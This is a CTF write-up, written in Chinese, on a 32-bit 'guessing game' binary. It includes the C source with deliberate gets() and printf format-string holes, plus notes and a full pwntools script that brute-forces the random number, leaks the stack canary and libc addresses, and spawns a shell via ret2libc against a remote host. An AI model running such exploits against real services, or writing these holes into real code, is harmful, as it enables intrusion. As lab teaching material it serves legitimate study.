#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
格式化漏洞, 开了canary, 不能直接溢出, 但是可以通过格式化漏洞泄露canary再溢出
预测同guessing game 1一样, rand函数种子是固定的, 每次生成的随机数是固定值, 调试拿到固定值
不过打远程就有问题了, 远程服务器的随机数虽然固定, 但不同于本地, 所以猜测错误
但是看源码发现随机数是有范围的, -4095~4096, 所以可以在1w次以内的尝试中找到随机数, 而且程序是无限循环, 随机数不重置, 可以爆破出远程服务器的随机数, 到达漏洞点
def bruteforce_num():
for i in range(-4095, 4096):
io.recvuntil("What number would you like to guess?\n")
io.sendline(str(i))
print(str(i))
message = io.recv(4)
# print(message[0], message[0] == ord('N'))
if message[0] == ord('C'):
print("guess number is: ", i)
break
return i
偏移量是6, buf到ebp的偏移是0x20C, 131个单位, canary到ebp的偏移是0xC, 3个单位, 所以printf格式字符串的第131 + 6 - 3 = 134个参数是泄露canary, 拿到canary就可以栈溢出, 不过后来发现是第135个位置处才是canary, 按理说计算上应该没有问题, 不过实际有出入, 可能什么地方没理解对…
有格式化漏洞的另一个作用是泄露libc函数的地址, 然后到libc库去查找对应的libc版本, 然后就可以找到system地址和"/bin/sh"字符串的地址, 构造payload调用system("/bin/sh")完成攻击
泄露puts函数的payload格式为
payload = cyclic(pad) + p32(canary) + cyclic(0xc) + p32(puts_plt) + p32(ret_addr) + p32(puts_got)
puts_plt是调用puts函数, puts_got作为puts的参数传入, 将puts函数地址打印出来, 然后返回到ret_addr处继续执行, 这里可以设置ret_addr为win()函数地址, 这样可以反复利用栈溢出漏洞
libc库搜索https://libc.nullbyte.cat/
这里需要注意第一个libc未必是正确的预测版本, 需要多个尝试, 最好从系统分类开始, 比如i386的Ubuntu系统, 有了偏移就可以直接调用libc下的system函数
from pwn import *
from pwnlib.util.cyclic import cyclic
context.log_level = "debug"
URL = "3.131.60.8"
PORT = 43578
sel = 1
io = ioess("./vuln-gg2") if sel == 0 else remote(URL, PORT)
pad = 0x200
elf = ELF("./vuln-gg2")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
win_addr = elf.functions['win'].address # 0x0804876E # elf.symbols['win']
def bruteforce_num():
for i in range(-3984, 4096):
io.recvuntil("What number would you like to guess?\n")
io.sendline(str(i))
print(str(i))
message = io.recv(4)
# print(message[0], message[0] == ord('N'))
if message[0] == ord('C'):
print("guess number is: ", i)
break
return i
# num = bruteforce_num()
# io.recvuntil("What number would you like to guess?\n")
# io.sendline(num)
# canary_leak = "Z" * 4 + "%x " * 30
# io.sendlineafter("Name? ", canary_leak)
# print(io.recv())
num = bruteforce_num()
io.sendlineafter("Name? ", "%135$p")
io.recvuntil("Congrats: ")
canary = int(io.recvline().decode().strip(),16)
print("leak canary = ", canary)
io.sendlineafter("What number would you like to guess?\n", str(num))
payload1 = cyclic(pad) + p32(canary) + cyclic(0xc) + p32(puts_plt) + p32(win_addr) + p32(puts_got)
io.sendlineafter("Name? ", payload1)
io.recvlines(2)
puts_addr = u32(io.recv(4))
log.success(hex(puts_addr))
sys_addr = puts_addr - 0x2a650
binsh_addr = puts_addr + 0x11442f
io.recvuntil("Name? ")
payload2 = cyclic(pad) + p32(canary) + cyclic(0xc) + p32(sys_addr) + p32(win_addr) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()